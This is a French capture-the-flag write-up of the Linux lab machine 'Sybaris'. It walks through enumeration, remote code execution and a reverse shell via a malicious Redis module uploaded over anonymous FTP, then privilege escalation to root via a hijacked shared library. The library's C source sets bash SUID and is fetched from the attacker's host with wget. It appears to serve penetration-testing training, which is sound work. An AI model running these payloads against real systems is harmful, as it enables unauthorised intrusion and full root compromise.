# Sybaris

`redis` `Shared Object Binary` `so`

* Nom machine : Sybaris
* Difficulté : Intermédiaire
* OS : Linux

## Enumération

### NMAP

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-24 05:20 EDT
Nmap scan report for 192.168.212.93
Host is up (0.035s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE  SERVICE   VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp       vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.217
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0              25 Jul 24 09:23 pub [NSE: writeable]
22/tcp    open   ssh       OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 21:94:de:d3:69:64:a8:4d:a8:f0:b5:0a:ea:bd:02:ad (RSA)
|   256 67:42:45:19:8b:f5:f9:a5:a4:cf:fb:87:48:a2:66:d0 (ECDSA)
|_  256 f3:e2:29:a3:41:1e:76:1e:b1:b7:46:dc:0b:b9:91:77 (ED25519)
53/tcp    closed domain
80/tcp    open   http      Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-title: Sybaris - Just another HTMLy blog
|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.22
|_http-generator: HTMLy v2.7.5
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-robots.txt: 11 disallowed entries 
| /config/ /system/ /themes/ /vendor/ /cache/ 
| /changelog.txt /composer.json /composer.lock /composer.phar /search/ 
|_/admin/
6379/tcp  open   redis     Redis key-value store 5.0.9
10091/tcp closed unknown
10092/tcp closed unknown
10093/tcp closed unknown
10094/tcp closed unknown
10095/tcp closed unknown
10096/tcp closed unknown
10097/tcp closed unknown
10098/tcp closed unknown
10099/tcp closed unknown
10100/tcp closed itap-ddtp
```

### FTP

Comme vu sur le scan nmap, nous pouvons nous connecter en anonyme. Il y a un directoire et nous pouvons uploader des fichiers. Cela peut être intéressant pour plus tard. Si par exemple nous pouvons accéder au fichier uploader via un site web ou bien un autre service.

```
┌──(kali㉿kali)-[~/]
└─$ ftp 192.168.212.93
Connected to 192.168.212.93.
220 (vsFTPd 3.0.2)
Name (192.168.212.93:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||10092|).
150 Here comes the directory listing.
drwxrwxrwx    2 0        0              25 Jul 24 09:23 pub
```

### HTTP (80) : Apache httpd 2.4.6

HTTPy

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FRTsNHLysnptpJ3hMCB5b%2Fsybaris%20(1).png?alt=media&#x26;token=8e6ffbb6-b72f-4072-9e70-e11193c2de62" alt=""><figcaption></figcaption></figure>

Nous avons lancé un scan gobuster

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.212.93/ -w //usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt,pdf,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.212.93/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                //usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,pdf,js,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 207]
/index                (Status: 200) [Size: 7870]
/login                (Status: 200) [Size: 3046]
/content              (Status: 301) [Size: 238] [--> http://192.168.212.93/content/]
/themes               (Status: 301) [Size: 237] [--> http://192.168.212.93/themes/]
/admin                (Status: 302) [Size: 0] [--> /login]
/upload.php           (Status: 302) [Size: 0] [--> /login]
/system               (Status: 301) [Size: 237] [--> http://192.168.212.93/system/]
/front                (Status: 301) [Size: 0] [--> /]
/cache                (Status: 301) [Size: 236] [--> http://192.168.212.93/cache/]
/lang                 (Status: 301) [Size: 235] [--> http://192.168.212.93/lang/]
/logout               (Status: 302) [Size: 0] [--> /login]
/config               (Status: 403) [Size: 208]
/robots.txt           (Status: 200) [Size: 1154]
Progress: 85360 / 1245864 (6.85%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
/humans.txt           (Status: 200) [Size: 1157]
/.html                (Status: 403) [Size: 207]
```

Le fichier robots.txt nous fourni pas mal d'informations

<figure><img src="https://2731053407-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1RXsXNh9elYzxZgW8W8f%2Fuploads%2FqnrcUxa987FXdBsVYu6H%2Fsybaris%20(2).png?alt=media&#x26;token=ae4d78ad-ed58-49ea-a3bf-e39cf2cc7f8e" alt=""><figcaption></figcaption></figure>

### Redis (6379) : Redis key-value store 5.0.9

Une recherche Hacktricks nous fourni plus amples informations et nous explique comment l'exploiter manuellement.

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis>" %}

## Accès initial

### Redis

Cloner le repository GitHub :

```
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
┌──(kali㉿kali)-[~]
└─$ cd RedisModules-ExecuteCommand                                           
┌──(kali㉿kali)-[~/RedisModules-ExecuteCommand]
└─$ make    
make -C ./src
make[1]: Entering directory '/home/kali/RedisModules-ExecuteCommand/src'
make -C ../rmutil
{...}
```

Transférer le fichier par FTP

```
┌──(kali㉿kali)-[~/RedisModules-ExecuteCommand]
└─$ ftp 192.168.212.93
Connected to 192.168.212.93.
220 (vsFTPd 3.0.2)
Name (192.168.212.93:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd pub
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||10098|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> put module.so
local: module.so remote: module.so
229 Entering Extended Passive Mode (|||10092|).
150 Ok to send data.
100% |*******************| 47864      599.41 KiB/s    00:00 ETA
226 Transfer complete.
47864 bytes sent in 00:00 (311.52 KiB/s)
ftp> dir
229 Entering Extended Passive Mode (|||10096|).
150 Here comes the directory listing.
-rw-rw-rw-    1 14       50          47864 Jul 24 10:00 module.so
226 Directory send OK.
```

```
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 192.168.212.93
192.168.212.93:6379> MODULE LOAD /var/ftp/pub/module.so
OK
192.168.212.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"
192.168.212.93:6379> system.rev 192.168.45.217 6379
```

Au même moment :

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
whoami
pablo
python -c 'import pty;pty.spawn("/bin/bash")'
[pablo@sybaris /]$
```

## Elévation des privilèges

### Bibliothèque partagée

Nous allons débuter par une énumération manuelle. Le fichier /etc/crontab est intéressant :

```
[pablo@sybaris dev]$ cat /etc/crontab
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed
  *  *  *  *  * root       /usr/bin/log-sweeper
```

/usr/bin/log-sweeper s'exécute toutes les minutes en tant que root.

```
[pablo@sybaris dev]$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directory
```

Il ne parvient pas à trouver la bibliothèque partagée utils.so : pourrions-nous la compromettre ?

Nous pouvons trouver utils.so également grâce à la commande strings.

```
[pablo@sybaris /]$ strings /usr/bin/log-sweeper
/lib64/ld-linux-x86-64.so.2
so*l
utils.so
__gmon_start__
ends_with
print_yellow
print_red
_init
{...}
```

Ainsi que :

```
[pablo@sybaris /]$ ldd /usr/bin/log-sweeper
ldd /usr/bin/log-sweeper
	linux-vdso.so.1 =>  (0x00007ffc999fd000)
	utils.so => not found
	libc.so.6 => /lib64/libc.so.6 (0x00007f4e78090000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4e7845e000)
```

Revenons à notre fichier crontab, le binaire recherche le fichier .so à partir du chemin :

```
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
```

Il s'agit ici de regarder les droits de chaque dossier pour savoir si nous avons les droits en écritures. C'est le cas de /usr/local/lib/dev. L'exécution de linpeas.sh permet également de le mettre en avant.

Nous nous aidons d'HackTricks pour comprendre comment l'exploiter

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ld.so.conf-example?source=post_page-----b362f337365c-------------------------------->" %}

Et également :

{% embed url="<https://vk9-sec.com/privilege-escalation-suid-sgid-executables-shared-object-injection/?source=post_page-----b362f337365c-------------------------------->" %}

Nous créeons sur notre machine le fichier utils.c :

```
//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
    setuid(0);
    setgid(0);
    system("chmod +s /bin/bash");
}
```

Sans la ligne : `static void inject() __attribute__((constructor));` le code ne fonctionne pas.

D'après chatgpt : "Attribut constructor : L'attribut constructor permet à la fonction inject de s'exécuter automatiquement lors du chargement du programme ou de la bibliothèque. "

Nous le compilons puis lancons un serveur python au port 80:

```
┌──(kali㉿kali)-[~]
└─$ gcc -shared -o utils.so -fPIC utils.c
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.235.93 - - [25/Jul/2024 04:00:30] "GET /utils.so HTTP/1.1" 200 -
```

Nous le téléchargeons sur la cible dans le dossier /usr/local/lib/dev :

```
[pablo@sybaris dev]$ wget http://192.168.45.193/utils.so
wget http://192.168.45.193/utils.so
--2024-07-25 04:25:41--  http://192.168.45.193/utils.so
Connecting to 192.168.45.193:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15528 (15K) [application/octet-stream]
Saving to: ‘utils.so’

 0% [                                       ] 0           --.-K/s        100%[======================================>] 15,528      --.-K/s   in 0.04s   

2024-07-25 04:25:42 (346 KB/s) - ‘utils.so’ saved [15528/15528]
[pablo@sybaris dev]$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-sr-x. 1 root root 964536 Mar 31  2020 /bin/bash
[pablo@sybaris dev]$ bash -p
bash -p
bash-4.2# cd /root
```

Nous sommes root !
